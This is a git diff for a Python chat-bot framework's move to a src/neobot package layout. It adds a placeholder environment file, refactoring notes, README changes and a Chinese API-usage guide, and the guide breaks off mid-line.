diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..7073d3c --- /dev/null +++ b/.env.example @@ -0,0 +1,49 @@ +# NeoBot 环境变量配置文件 +# 复制此文件为 .env 并填写实际值 + +# 数据库配置 +MYSQL_HOST=localhost +MYSQL_PORT=3306 +MYSQL_USER=root +MYSQL_PASSWORD=your_mysql_password +MYSQL_DB=neobot + +# Redis 配置 +REDIS_HOST=localhost +REDIS_PORT=6379 +REDIS_DB=0 +REDIS_PASSWORD=your_redis_password + +# NapCat WebSocket 配置 +NAPCAT_WS_URI=ws://localhost:8080 +NAPCAT_WS_TOKEN=your_napcat_token + +# Discord 配置 +DISCORD_TOKEN=your_discord_token +DISCORD_PROXY=http://localhost:7890 + +# Bilibili 配置（可选） +BILIBILI_SESSDATA=your_sessdata +BILIBILI_BILI_JCT=your_bili_jct +BILIBILI_BUVID3=your_buvid3 +BILIBILI_DEDEUSERID=your_dedeuserid + +# Docker 配置 +DOCKER_BASE_URL=unix://var/run/docker.sock +DOCKER_TLS_VERIFY=false + +# 反向 WebSocket 配置 +REVERSE_WS_ENABLED=false +REVERSE_WS_HOST=0.0.0.0 +REVERSE_WS_PORT=3002 +REVERSE_WS_TOKEN=your_reverse_ws_token + +# 本地文件服务器配置 +LOCAL_FILE_SERVER_ENABLED=true +LOCAL_FILE_SERVER_HOST=0.0.0.0 +LOCAL_FILE_SERVER_PORT=3003 + +# 日志配置 +LOG_LEVEL=DEBUG +LOG_FILE_LEVEL=DEBUG +LOG_CONSOLE_LEVEL=INFO \ No newline at end of file diff --git a/.gitignore b/.gitignore index 9cab923..c7f21a2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ - # Created by https://www.toptal.com/developers/gitignore/api/python # Edit at https://www.toptal.com/developers/gitignore?templates=python @@ -157,7 +156,7 @@ ca/* *.key # Data directory (may contain sensitive data) -/core/data/* +/src/neobot/data/* # IDE .vscode/ diff --git a/PROJECT_REFACTORING.md b/PROJECT_REFACTORING.md new file mode 100644 index 0000000..15673f8 --- /dev/null +++ b/PROJECT_REFACTORING.md @@ -0,0 +1,167 @@ +# 项目重构总结 + +## 重构目标 + +将项目从混乱的目录结构重构为标准的 Python 包结构，遵循 PEP 621 规范。 + +## 重构前后对比 + +### 重构前 + +``` +. +├── adapters/ # 适配器 +├── core/ # 核心代码 +├── models/ # 数据模型 +├── plugins/ # 插件 +├── tests/ # 测试 +├── docs/ # 文档 +├── templates/ # 模板 +├── web_static/ # 静态文件 +├── data/ # 数据 +├── main.py # 主程序 +└── ... +``` + +**问题：** +- 所有模块都在根目录，结构混乱 +- 缺少标准的 Python 包结构 +- 不符合现代 Python 项目的最佳实践 +- 导入路径不清晰 + +### 重构后 + +``` +. +├── src/ +│ └── neobot/ # 核心包 +│ ├── core/ # 框架核心 +│ ├── models/ # 数据模型 +│ ├── adapters/ # 平台适配器 +│ ├── plugins/ # 插件 +│ ├── tests/ # 测试 +│ ├── templates/ # 模板 +│ ├── docs/ # 文档 +│ ├── web_static/ # 静态文件 +│ └── data/ # 数据 +├── main.py # 主程序入口 +└── ... +``` + +**优势：** +- 符合 PEP 621 标准的 Python 包结构 +- 清晰的模块划分 +- 更好的可维护性和可扩展性 +- 符合现代 Python 项目的最佳实践 + +## 主要变更 + +### 1. 目录结构 + +- 所有 Python 代码移动到 `src/neobot/` 目录 +- 采用标准的 Python 包结构 +- 每个模块都有清晰的 `__init__.py` 文件 + +### 2. 导入路径 + +所有导入路径从 `core.*`、`models.*` 等改为 `neobot.core.*`、`neobot.models.*` 等。 + +**示例：** +```python +# 重构前 +from core.managers import plugin_manager +from models import MessageSegment + +# 重构后 +from neobot.core.managers import plugin_manager +from neobot.models import MessageSegment +``` + +### 3. 配置文件更新 + +- `pyproject.toml` 更新为使用 `src/` 目录结构 +- `README.md` 更新项目结构说明 +- `.gitignore` 更新以忽略新的数据目录路径 + +### 4. 主程序更新 + +- `main.py` 更新所有导入路径 +- 更新插件目录路径为 `src/neobot/plugins` + +## 新的模块组织 + +### src/neobot/core/ + +框架核心代码，包含： + +- **api/**: OneBot API 封装 +- **handlers/**: 事件处理器 +- **managers/**: 各种管理器 +- **services/**: 服务层 +- **utils/**: 工具函数 + +### src/neobot/models/ + +数据模型定义，包含： + +- **events/**: OneBot 事件模型 +- **message.py**: 消息段模型 +- **objects.py**: API 响应对象 +- **sender.py**: 发送者信息 + +### src/neobot/plugins/ + +插件目录，所有业务逻辑都在这里。 + +### src/neobot/adapters/ + +平台适配器，用于连接不同平台（如 Discord）。 + +### src/neobot/tests/ + +单元测试和集成测试文件。 + +## 使用方式 + +### 开发环境 + +```bash +# 安装依赖 +pip install -r requirements.txt + +# 运行测试 +pytest src/neobot/tests/ + +# 构建包 +python -m build +``` + +### 导入包 + +```python +# 导入核心模块 +from neobot.core.managers import plugin_manager + +# 导入数据模型 +from neobot.models import MessageSegment, OneBotEvent + +# 导入适配器 +from neobot.adapters import DiscordAdapter + +# 导入插件 +from neobot.plugins import admin, echo +``` + +## 注意事项 + +1. 所有代码文件使用绝对导入 +2. 插件开发请参考 `src/neobot/docs/plugin-development/` +3. 核心开发请参考 `src/neobot/docs/core-concepts/` +4. 配置文件 `config.toml` 保持在根目录 + +## 后续建议 + +1. 运行 `pip install -e .` 进行开发安装 +2. 运行 `mypy` 进行类型检查 +3. 运行 `pytest` 进行测试 +4. 定期运行 `flake8` 进行代码风格检查 diff --git a/README.md b/README.md index 458b453..210c74b 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ ### 核心特性 -* **模块化插件架构**：所有功能都在 `plugins/` 目录，开发者可轻松扩展 +* **模块化插件架构**：所有功能都在 `src/neobot/plugins/` 目录，开发者可轻松扩展 * **性能优化**： * **Python 3.14 JIT**：运行时热点代码编译成机器码 * **Mypyc AOT编译**：核心模块编译为C扩展 @@ -40,53 +40,79 @@ ``` . -├── plugins/ # 插件目录，业务逻辑都在这 -│ ├── admin.py # 权限管理（Admin/User两级权限） -│ ├── auto_approve.py # 自动同意好友请求和群邀请 -│ ├── bot_status.py # Bot运行状态查询（图片形式） -│ ├── broadcast.py # 管理员专用广播功能 -│ ├── code_py.py # Python代码沙箱执行 -│ ├── echo.py # Echo/点赞功能 -│ ├── furry.py # Furry图片获取 -│ ├── github_parser.py # GitHub仓库链接解析 -│ ├── jrcd.py # 今日人品/长度查询 -│ ├── thpic.py # 东方Project随机图片 -│ ├── web_parser/ # Web链接解析系统（B站、抖音、GitHub等） -│ └── sync_async_test_plugin.py # 异步同步混用测试插件 -├── core/ # 框架核心，非请勿动 -│ ├── api/ # OneBot API 封装 -│ ├── handlers/ # 事件处理器 -│ ├── managers/ # 各种管理器 (指令, 浏览器, 图片, 插件, 权限) -│ ├── utils/ # 工具函数 -│ ├── ws.py # WebSocket 通信层 (已编译) -│ ├── bot.py # Bot 实例 -│ ├── config_loader.py # 配置加载 -│ └── permission.py # 权限枚举 -├── data/ # 数据存储 -│ ├── admin.json # 管理员名单 -│ └── permissions.json # 权限配置 -├── models/ # 数据模型 -│ ├── events/ # OneBot事件模型 -│ ├── message.py # 消息段模型 -│ ├── sender.py # 发送者信息 -│ └── objects.py # API响应对象 -├── templates/ # Jinja2模板（用于图片生成） -├── docs/ # 开发文档 -├── tests/ # 单元测试 -├── setup_mypyc.py # Mypyc编译脚本 -├── config.toml # 配置文件 -└── main.py # 启动入口 +├── src/ +│ └── neobot/ # 核心包目录 +│ ├── core/ # 框架核心，非请勿动 +│ │ ├── api/ # OneBot API 封装 +│ │ ├── handlers/ # 事件处理器 +│ │ ├── managers/ # 各种管理器 (指令, 浏览器, 图片, 插件, 权限) +│ │ ├── services/ # 服务层 +│ │ ├── utils/ # 工具函数 +│ │ ├── bot.py # Bot 实例 +│ │ ├── config_loader.py # 配置加载 +│ │ ├── config_models.py # 配置模型 +│ │ ├── permission.py # 权限枚举 +│ │ ├── plugin.py # 插件基类 +│ │ └── ws.py # WebSocket 通信层 (已编译) +│ ├── models/ # 数据模型 +│ │ ├── events/ # OneBot事件模型 +│ │ ├── message.py # 消息段模型 +│ │ ├── objects.py # API响应对象 +│ │ └── sender.py # 发送者信息 +│ ├── adapters/ # 平台适配器 +│ │ └── discord_adapter.py +│ ├── plugins/ # 插件目录，业务逻辑都在这 +│ │ ├── admin.py # 权限管理（Admin/User两级权限） +│ │ ├── auto_approve.py # 自动同意好友请求和群邀请 +│ │ ├── bot_status.py # Bot运行状态查询（图片形式） +│ │ ├── broadcast.py # 管理员专用广播功能 +│ │ ├── code_py.py # Python代码沙箱执行 +│ │ ├── echo.py # Echo/点赞功能 +│ │ ├── furry.py # Furry图片获取 +│ │ ├── github_parser.py # GitHub仓库链接解析 +│ │ ├── jrcd.py # 今日人品/长度查询 +│ │ ├── thpic.py # 东方Project随机图片 +│ │ ├── web_parser/ # Web链接解析系统（B站、抖音、GitHub等） +│ │ └── discord-cross/ # Discord跨平台支持 +│ ├── tests/ # 单元测试 +│ ├── templates/ # Jinja2模板（用于图片生成） +│ ├── docs/ # 开发文档 +│ ├── web_static/ # 静态网页文件 +│ └── data/ # 数据存储 +│ └── vectordb/ # 向量数据库 +├── main.py # 启动入口 +├── config.toml # 配置文件（根目录） +├── pyproject.toml # 项目配置和依赖 +├── requirements.txt # 运行时依赖 +├── requirements-dev.txt # 开发依赖 +└── README.md # 项目说明 ``` +### 目录说明 + +- **src/neobot/**: 核心 Python 包目录，遵循 PEP 621 标准 +- **core/**: 框架核心代码，包含事件处理、API封装、管理器等 +- **models/**: 数据模型定义，包含事件、消息、发送者等 +- **adapters/**: 平台适配器，用于连接不同平台（如 Discord） +- **plugins/**: 插件目录，所有业务逻辑都在这里 +- **tests/**: 单元测试和集成测试 +- **templates/**: Jinja2 模板文件，用于图片生成 +- **docs/**: 项目文档 +- **web_static/**: 静态网页文件 +- **data/**: 数据存储目录（向量数据库等） + ## 快速开始 -1 - - 1. **装环境**: Python 3.14，Redis， OneBot 客户端 (推荐 NapCat)。 2. **装依赖**: `pip install -r requirements.txt` 3. **装浏览器**: `playwright install chromium` 4. **编译核心 (可选)**: `python setup_mypyc.py build_ext --inplace` 5. **启动**: `python -X jit main.py` -详细文档去 `docs/` 目录看 +详细文档去 `src/neobot/docs/` 目录看 + +## 开发规范 + +- 所有代码放在 `src/neobot/` 目录下 +- 插件开发参考 `src/neobot/docs/plugin-development/` +- 核心开发参考 `src/neobot/docs/core-concepts/` diff --git a/core/config_loader.py b/core/config_loader.py deleted file mode 100644 index ad332aa..0000000 --- a/core/config_loader.py +++ /dev/null @@ -1,196 +0,0 @@ -""" -配置加载模块 - -负责读取和解析 config.toml 配置文件，提供全局配置对象。 -""" -from pathlib import Path - -import tomllib -from pydantic import ValidationError -from .config_models import ConfigModel, NapCatWSModel, BotModel, RedisModel, DockerModel, ImageManagerModel, MySQLModel, ReverseWSModel, ThreadingModel, BilibiliModel, LocalFileServerModel, DiscordModel, CrossPlatformModel, LoggingModel -from .utils.logger import ModuleLogger -from .utils.exceptions import ConfigError, ConfigNotFoundError, ConfigValidationError - - -class Config: - """ - 配置加载类，负责读取和解析 config.toml 文件 - """ - - def __init__(self, file_path: str = "config.toml"): - """ - 初始化配置加载器 - - :param file_path: 配置文件路径，默认为 "config.toml" - """ - self.path = Path(file_path) - self._model: ConfigModel - # 创建模块专用日志记录器 - self.logger = ModuleLogger("ConfigLoader") - self.load() - - def load(self): - """ - 加载并验证配置文件 - - :raises ConfigNotFoundError: 如果配置文件不存在 - :raises ConfigValidationError: 如果配置格式不正确 - :raises ConfigError: 如果加载配置时发生其他错误 - """ - if not self.path.exists(): - self.logger.warning(f"配置文件 {self.path} 未找到，正在生成示例配置...") - self._generate_example_config() - self.logger.success(f"示例配置已生成: {self.path}") - self.logger.info("请编辑配置文件后重新启动程序") - - try: - self.logger.info(f"正在从 {self.path} 加载配置...") - with open(self.path, "rb") as f: - raw_config = tomllib.load(f) - - self._model = ConfigModel(**raw_config) - self.logger.success("配置加载并验证成功！") - - except ValidationError as e: - error_details = [] - for error in e.errors(): - field = " -> ".join(map(str, error["loc"])) - error_msg = f"字段 '{field}': {error['msg']}" - error_details.append(error_msg) - - validation_error = ConfigValidationError( - message="配置验证失败" - ) - validation_error.original_error = e - - self.logger.error("配置验证失败，请检查 `config.toml` 文件中的以下错误：") - for detail in error_details: - self.logger.error(f" - {detail}") - - self.logger.log_custom_exception(validation_error) - raise validation_error - except tomllib.TOMLDecodeError as e: - error = ConfigError( - message=f"TOML解析错误: {str(e)}" - ) - error.original_error = e - self.logger.error(f"加载配置文件时发生TOML解析错误: {error.message}") - self.logger.log_custom_exception(error) - raise error - except Exception as e: - error = ConfigError( - message=f"加载配置文件时发生未知错误: {str(e)}" - ) - error.original_error = e - self.logger.exception(f"加载配置文件时发生未知错误: {error.message}") - self.logger.log_custom_exception(error) - raise error - - def _generate_example_config(self): - """ - 生成示例配置文件 - """ - example_path = Path("config.example.toml") - - if not example_path.exists(): - self.logger.error(f"示例配置文件 {example_path} 不存在，无法生成配置") - raise ConfigNotFoundError(message=f"示例配置文件 {example_path} 不存在") - - content = example_path.read_text() - self.path.write_text(content) - - # 通过属性访问配置 - @property - def napcat_ws(self) -> NapCatWSModel: - """ - 获取 NapCat WebSocket 配置 - """ - return self._model.napcat_ws - - @property - def bot(self) -> BotModel: - """ - 获取 Bot 基础配置 - """ - return self._model.bot - - @property - def redis(self) -> RedisModel: - """ - 获取 Redis 配置 - """ - return self._model.redis - - @property - def mysql(self) -> MySQLModel: - """ - 获取 MySQL 配置 - """ - return self._model.mysql - - @property - def docker(self) -> DockerModel: - """ - 获取 Docker 配置 - """ - return self._model.docker - - @property - def image_manager(self) -> ImageManagerModel: - """ - 获取图片生成管理器配置 - """ - return self._model.image_manager - - @property - def reverse_ws(self) -> ReverseWSModel: - """ - 获取反向 WebSocket 配置 - """ - return self._model.reverse_ws - - @property - def threading(self) -> ThreadingModel: - """ - 获取线程管理配置 - """ - return self._model.threading - - @property - def bilibili(self) -> BilibiliModel: - """ - 获取 Bilibili 配置 - """ - return self._model.bilibili - - @property - def local_file_server(self) -> LocalFileServerModel: - """ - 获取本地文件服务器配置 - """ - return self._model.local_file_server - - @property - def discord(self) -> DiscordModel: - """ - 获取 Discord 配置 - """ - return self._model.discord - - @property - def cross_platform(self) -> CrossPlatformModel: - """ - 获取跨平台配置 - """ - return self._model.cross_platform - - @property - def logging(self) -> LoggingModel: - """ - 获取日志配置 - """ - return self._model.logging - - -# 实例化全局配置对象 -global_config = Config() diff --git a/core/handlers/__init__.py b/core/handlers/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/managers/__init__.py b/core/managers/__init__.py deleted file mode 100644 index 4e88f1a..0000000 --- a/core/managers/__init__.py +++ /dev/null @@ -1,60 +0,0 @@ -""" -管理器包 - -这个包集中了机器人核心的单例管理器。 -通过从这里导入，可以确保在整个应用中访问到的都是同一个实例。 -""" -from .command_manager import matcher as command_manager -from .permission_manager import PermissionManager -from .plugin_manager import PluginManager -from .redis_manager import RedisManager -from .mysql_manager import MySQLManager -from .browser_manager import BrowserManager -from .image_manager import ImageManager -from .reverse_ws_manager import ReverseWSManager -from .thread_manager import thread_manager -from .vectordb_manager import vectordb_manager - -# --- 实例化所有单例管理器 --- - -# 权限管理器（包含了管理员管理功能） -permission_manager = PermissionManager() - -# 命令与事件管理器 (别名 matcher) -matcher = command_manager - -# 插件管理器 -plugin_manager = PluginManager(command_manager) -# plugin_manager.load_all_plugins() - -# Redis 管理器 -redis_manager = RedisManager() - -# MySQL 管理器 -mysql_manager = MySQLManager() - -# 浏览器管理器 -browser_manager = BrowserManager() - -# 图片管理器 -image_manager = ImageManager() - -# 反向 WebSocket 管理器 -reverse_ws_manager = ReverseWSManager() - -# 线程管理器 -thread_manager.start() - -__all__ = [ - "permission_manager", - "command_manager", - "matcher", - "plugin_manager", - "redis_manager", - "mysql_manager", - "browser_manager", - "image_manager", - "reverse_ws_manager", - "thread_manager", - "vectordb_manager", -] diff --git a/core/utils/__init__.py b/core/utils/__init__.py deleted file mode 100644 index 6708178..0000000 --- a/core/utils/__init__.py +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python3 -""" -工具函数包 -""" - -# 导出核心工具 -from .logger import logger -from .exceptions import * -from .singleton import singleton -from .executor import run_in_thread_pool, initialize_executor -from .performance import ( - timeit, - profile, - aprofile, - memory_profile, - memory_profile_decorator, - performance_monitor, - PerformanceStats, - performance_stats, - global_stats -) - -__all__ = [ - 'logger', - 'timeit', - 'profile', - 'aprofile', - 'memory_profile', - 'memory_profile_decorator', - 'performance_monitor', - 'PerformanceStats', - 'performance_stats', - 'global_stats', - 'run_in_thread_pool', - 'initialize_executor', - 'singleton' -] diff --git a/data/vectordb/chroma.sqlite3 b/data/vectordb/chroma.sqlite3 deleted file mode 100644 index c0ab1dd..0000000 Binary files a/data/vectordb/chroma.sqlite3 and /dev/null differ diff --git a/docs/api-usage-examples.md b/docs/api-usage-examples.md new file mode 100644 index 0000000..2c11594 --- /dev/null +++ b/docs/api-usage-examples.md @@ -0,0 +1,720 @@ +# API 使用示例 + +本文档提供了 NeoBot 框架核心 API 的使用示例，帮助开发者快速上手。 + +## 目录 + +1. [插件开发基础](#插件开发基础) +2. [消息处理](#消息处理) +3. [配置管理](#配置管理) +4. [日志记录](#日志记录) +5. [输入验证](#输入验证) +6. [环境变量管理](#环境变量管理) +7. [数据库操作](#数据库操作) +8. [网络请求](#网络请求) + +## 插件开发基础 + +### 基本插件结构 + +```python +# -*- coding: utf-8 -*- +from typing import List, Optional + +from neobot.core.managers.command_manager import matcher +from neobot.core.utils.logger import logger +from models import MessageEvent + +# 插件元数据 +__plugin_meta__ = { + "name": "example_plugin", + "description": "示例插件", + "usage": "/示例命令 [参数] - 示例命令说明", +} + +@matcher.command("示例命令") +async def handle_example_command(bot, event: MessageEvent, args: List[str]): + """ + 处理示例命令 + + Args: + bot: 机器人实例 + event: 消息事件 + args: 命令参数列表 + """ + try: + if not args: + await event.reply("请输入参数，例如：/示例命令 参数") + return + + # 处理逻辑 + result = await process_args(args[0]) + + # 回复结果 + await event.reply(f"处理结果: {result}") + + except Exception as e: + logger.error(f"处理命令时出错: {e}") + await event.reply("处理命令时发生错误，请稍后重试。") +``` + +### 带权限检查的插件 + +```python +from neobot.core.managers.permission_manager import permission_manager + +@matcher.command("管理命令", permission="admin") +async def handle_admin_command(bot, event: MessageEvent, args: List[str]): + """ + 处理管理命令（需要管理员权限） + """ + # 检查权限 + user_id = event.user_id + if not permission_manager.check_permission(user_id, "admin"): + await event.reply("您没有执行此命令的权限。") + return + + # 执行管理操作 + await event.reply("管理命令执行成功。") +``` + +## 消息处理 + +### 发送消息 + +```python +from models import MessageSegment + +async def send_messages(event: MessageEvent): + """发送各种类型的消息""" + + # 发送纯文本 + await event.reply("这是一条文本消息") + + # 发送带格式的文本 + await event.reply("**粗体** *斜体* `代码`") + + # 发送图片 + image_segment = MessageSegment.image("https://example.com/image.jpg") + await event.reply([image_segment, "这是一张图片"]) + + # 发送文件 + file_segment = MessageSegment.file("/path/to/file.txt") + await event.reply(file_segment) + + # 发送语音 + voice_segment = MessageSegment.voice("/path/to/voice.mp3") + await event.reply(voice_segment) +``` + +### 处理消息事件 + +```python +from typing import Dict, Any + +@matcher.on_message() +async def handle_all_messages(bot, event: MessageEvent): + """ + 处理所有消息 + """ + # 获取消息内容 + message = event.message + user_id = event.user_id + group_id = event.group_id + + # 记录消息 + logger.info(f"收到消息: 用户={user_id}, 群组={group_id}, 内容={message}") + + # 简单的自动回复 + if "你好" in message: + await event.reply("你好！我是机器人。") + + # 处理特定关键词 + if "帮助" in message: + await event.reply("输入 /帮助 查看可用命令。") +``` + +### 消息模板 + +```python +from string import Template + +class MessageTemplate: + """消息模板""" + + @staticmethod + def welcome_message(user_name: str) -> str: + """欢迎消息模板""" + template = Template("欢迎 $user_name 加入！") + return template.substitute(user_name=user_name) + + @staticmethod + def weather_report(city: str, temperature: float, condition: str) -> str: + """天气报告模板""" + return f""" +{city} 天气报告： +🌡️ 温度: {temperature}°C +🌤️ 天气: {condition} + """.strip() + + @staticmethod + def error_message(error_type: str, suggestion: str = "") -> str: + """错误消息模板""" + base = f"发生错误: {error_type}" + if suggestion: + base += f"\n建议: {suggestion}" + return base + +# 使用示例 +async def send_welcome(event: MessageEvent, user_name: str): + message = MessageTemplate.welcome_message(user_name) + await event.reply(message) +``` + +## 配置管理 + +### 基本配置使用 + +```python +from neobot.core.config_loader import Config + +# 加载配置 +config = Config("config.toml") + +# 获取配置值 +bot_name = config.get("bot.name", "NeoBot") +admin_users = config.get_list("bot.admin_users", []) + +# 获取嵌套配置 +database_config = config.get_section("database") +if database_config: + db_host = database_config.get("host", "localhost") + db_port = database_config.get_int("port", 3306) + +# 检查配置是否存在 +if config.has("api.keys.openai"): + openai_key = config.get("api.keys.openai") +``` + +### 配置验证 + +```python +from typing import Dict, Any +from pydantic import BaseModel, Field, validator + +class DatabaseConfig(BaseModel): + """数据库配置模型""" + host: str = Field(default="localhost") + port: int = Field(default=3306, ge=1, le=65535) + user: str + password: str + database: str + + @validator('password') + def password_not_empty(cls, v): + if not v or len(v.strip()) == 0: + raise ValueError('密码不能为空') + return v + +class BotConfig(BaseModel): + """机器人配置模型""" + name: str = Field(default="NeoBot") + admin_users: list = Field(default_factory=list) + database: DatabaseConfig + +# 使用配置模型 +def load_and_validate_config(config_path: str) -> BotConfig: + """加载并验证配置""" + config = Config(config_path) + + # 转换为字典 + config_dict = config.to_dict() + + # 验证配置 + try: + bot_config = BotConfig(**config_dict) + return bot_config + except Exception as e: + logger.error(f"配置验证失败: {e}") + raise +``` + +## 日志记录 + +### 基本日志使用 + +```python +from neobot.core.utils.logger import logger + +# 不同级别的日志 +logger.debug("调试信息") +logger.info("普通信息") +logger.warning("警告信息") +logger.error("错误信息") +logger.critical("严重错误") + +# 带上下文的日志 +logger.info("用户操作", extra={ + "user_id": 123456, + "action": "login", + "ip": "192.168.1.1" +}) + +# 异常日志 +try: + # 一些可能失败的操作 + result = risky_operation() +except Exception as e: + logger.exception(f"操作失败: {e}") +``` + +### 自定义日志格式 + +```python +import logging +from neobot.core.utils.logger import setup_logging + +# 自定义日志配置 +log_config = { + "version": 1, + "formatters": { + "detailed": { + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + }, + "simple": { + "format": "%(levelname)s: %(message)s" + } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "INFO", + "formatter": "simple" + }, + "file": { + "class": "logging.handlers.RotatingFileHandler", + "filename": "logs/neobot.log", + "maxBytes": 10485760, # 10MB + "backupCount": 5, + "formatter": "detailed" + } + }, + "loggers": { + "neobot": { + "level": "DEBUG", + "handlers": ["console", "file"] + } + } +} + +# 设置日志 +setup_logging(log_config) +``` + +## 输入验证 + +### 基本验证 + +```python +from neobot.core.utils.input_validator import input_validator + +def validate_user_input(user_input: str) -> tuple[bool, str]: + """ + 验证用户输入 + + Returns: + (是否有效, 错误消息) + """ + # 检查空输入 + if not user_input or not user_input.strip(): + return False, "输入不能为空" + + # 检查长度 + if len(user_input) > 1000: + return False, "输入过长（最大1000字符）" + + # 安全检查 + if not input_validator.validate_sql_input(user_input): + return False, "输入包含不安全字符" + + if not input_validator.validate_xss_input(user_input): + return False, "输入包含不安全内容" + + return True, "" + +# 在插件中使用 +@matcher.command("安全命令") +async def handle_safe_command(bot, event: MessageEvent, args: List[str]): + if not args: + await event.reply("请输入参数") + return + + user_input = args[0] + is_valid, error_msg = validate_user_input(user_input) + + if not is_valid: + await event.reply(f"输入无效: {error_msg}") + return + + # 处理有效输入 + await event.reply(f"输入有效: {user_input}") +``` + +### 高级验证 + +```python +from typing import Dict, Any +from datetime import datetime + +class AdvancedValidator: + """高级验证器""" + + @staticmethod + def validate_email_domain(email: str, allowed_domains: list) -> bool: + """验证邮箱域名""" + if not input_validator.validate_email(email): + return False + + domain = email.split('@')[1] + return domain in allowed_domains + + @staticmethod + def validate_date_range(date_str: str, start_date: str, end_date: str) -> bool: + """验证日期范围""" + try: + date = datetime.strptime(date_str, "%Y-%m-%d") + start = datetime.strptime(start_date, "%Y-%m-%d") + end = datetime.strptime(end_date, "%Y-%m-%d") + + return start <= date <= end + except ValueError: + return False + + @staticmethod + def validate_json_schema(data: Dict[str, Any], schema: Dict[str, Any]) -> bool: + """验证JSON数据格式""" + try: + # 这里可以使用 jsonschema 库 + # import jsonschema + # jsonschema.validate(data, schema) + + # 简化版本：检查必需字段 + required_fields = schema.get("required", []) + for field in required_fields: + if field not in data: + return False + + # 检查字段类型 + properties = schema.get("properties", {}) + for field, field_schema in properties.items(): + if field in data: + field_type = field_schema.get("type") + if field_type == "string" and not isinstance(data[field], str): + return False + elif field_type == "number" and not isinstance(data[field], (int, float)): + return False + elif field_type == "integer" and not isinstance(data[field], int): + return False + elif field_type == "boolean" and not isinstance(data[field], bool): + return False + + return True + except Exception: + return False +``` + +## 环境变量管理 + +### 基本使用 + +```python +from neobot.core.utils.env_loader import env_loader + +# 加载环境变量 +env_loader.load() + +# 获取环境变量 +database_url = env_loader.get("DATABASE_URL") +api_key = env_loader.get("API_KEY") + +# 获取带默认值的环境变量 +port = env_loader.get_int("PORT", 8080) +debug = env_loader.get_bool("DEBUG", False) + +# 获取掩码的敏感值（用于日志） +masked_api_key = env_loader.get_masked("API_KEY") +logger.info(f"API Key: {masked_api_key}") # 输出: AP***EY + +# 检查环境变量是否设置 +if env_loader.is_set("REQUIRED_VAR"): + value = env_loader.get("REQUIRED_VAR") +else: + logger.error("REQUIRED_VAR 环境变量未设置") +``` + +### 环境变量验证 + +```python +from typing import List, Optional + +class EnvironmentValidator: + """环境变量验证器""" + + @staticmethod + def validate_required(variables: List[str]) -> List[str]: + """验证必需的环境变量""" + missing = [] + + for var in variables: + if not env_loader.is_set(var): + missing.append(var) + + return missing + + @staticmethod + def validate_database_config() -> bool: + """验证数据库配置""" + required = ["DB_HOST", "DB_PORT", "DB_USER", "DB_PASSWORD", "DB_NAME"] + missing = EnvironmentValidator.validate_required(required) + + if missing: + logger.error(f"缺少数据库配置: {missing}") + return False + + # 验证端口范围 + port = env_loader.get_int("DB_PORT") + if port < 1 or port > 65535: + logger.error(f"数据库端口无效: {port}") + return False + + return True + + @staticmethod + def validate_api_keys() -> bool: + """验证API密钥""" + # 检查是否有至少一个API密钥 + api_keys = [ + "OPENAI_API_KEY", + "ANTHROPIC_API_KEY", + "GOOGLE_API_KEY" + ] + + has_key = any(env_loader.is_set(key) for key in api_keys) + + if not has_key: + logger.warning("未设置任何API密钥，某些功能可能不可用") + + return True +``` + +## 数据库操作 + +### 异步数据库操作 + +```python +import aiomysql +from typing import List, Dict, Any + +class DatabaseManager: + """数据库管理器""" + + def __init__(self, config: Dict[str, Any]): + self.config = config + self.pool = None + + async def connect(self): + """连接数据库""" + self.pool = await aiomysql.create_pool( + host=self.config['host'], + port=self.config['port'], + user=self.config['user'], + password=self.config['password'], + db=self.config['database'], + minsize=5, + maxsize=20 + ) + + async def execute_query(self, query: str, *args) -> List[Dict[str, Any]]: + """执行查询""" + async with self.pool.acquire() as conn: + async with conn.cursor(aiomysql.DictCursor) as cursor: + await cursor.execute(query, args) + return await cursor.fetchall() + + async def execute_update(self, query: str, *args) -> int: + """执行更新""" + async with self.pool.acquire() as conn: + async with conn.cursor() as cursor: + await cursor.execute(query, args) + await conn.commit() + return cursor.rowcount + + async def close(self): + """关闭连接""" + if self.pool: + self.pool.close() + await self.pool.wait_closed() +``` + +### 数据库模型 + +```python +from typing import Optional +from datetime import datetime + +class UserModel: + """用户模型""" + + def __init__(self, db_manager: DatabaseManager): + self.db = db_manager + + async def get_user(self, user_id: int) -> Optional[Dict[str, Any]]: + """获取用户""" + query = "SELECT * FROM users WHERE id = %s" + results = await self.db.execute_query(query, user_id) + + if results: + return results[0] + return None + + async def create_user(self, username: str, email: str) -> int: + """创建用户""" + query = """ + INSERT INTO users (username, email, created_at) + VALUES (%s, %s, %s) + """ + now = datetime.now() + + await self.db.execute_update(query, username, email, now) + + # 获取新用户的ID + query = "SELECT LAST_INSERT_ID() as id" + results = await self.db.execute_query(query) + + return results[0]['id'] + + async def update_user(self, user_id: int, **kwargs) -> bool: + """更新用户""" + if not kwargs: + return False + + set_clause = ", ".join([f"{key} = %s" for key in kwargs.keys()]) + query = f"UPDATE users SET {set_clause} WHERE id = %s" + + values = list(kwargs.values()) + values.append(user_id) + + affected = await self.db.execute_update(query, *values) + return affected > 0 +``` + +## 网络请求 + +### 异步HTTP请求 + +```python +import aiohttp +from typing import Dict, Any, Optional + +class HttpClient: + """HTTP客户端""" + + def __init__(self, base_url: str = "", timeout: int = 30): + self.base_url = base_url.rstrip("/") + self.timeout = aiohttp.ClientTimeout(total=timeout) + + async def get(self, endpoint: str, **kwargs) -> Optional[Dict[str, Any]]: + """发送GET请求""" + url = f"{self.base_url}/{endpoint.lstrip('/')}" + + async with aiohttp.ClientSession(timeout=self.timeout) as session: + async with session.get(url, **kwargs) as response: + response.raise_for_status() + return await response.json() + + async def post(self, endpoint: str, data: Dict[str, Any], **kwargs) -> Optional[Dict[str, Any]]: + """发送POST请求""" + url = f"{self.base_url}/{endpoint.lstrip('/')}" + + async with aiohttp.ClientSession(timeout=self.timeout) as session: + async with session.post(url, json=data, **kwargs) as response: + response.raise_for_status() + return await response.json() + + async def download_file(self, url: str, save_path: str) -> bool: + """下载文件""" + try: + async with aiohttp.ClientSession(timeout=self.timeout) as session: + async with session.get(url) as response: + response.raise_for_status() + + # 异步写入文件 + import aiofiles + async with aiofiles.open(save_path, 'wb') as f: + async for chunk in response.content.iter_chunked(8192): + await 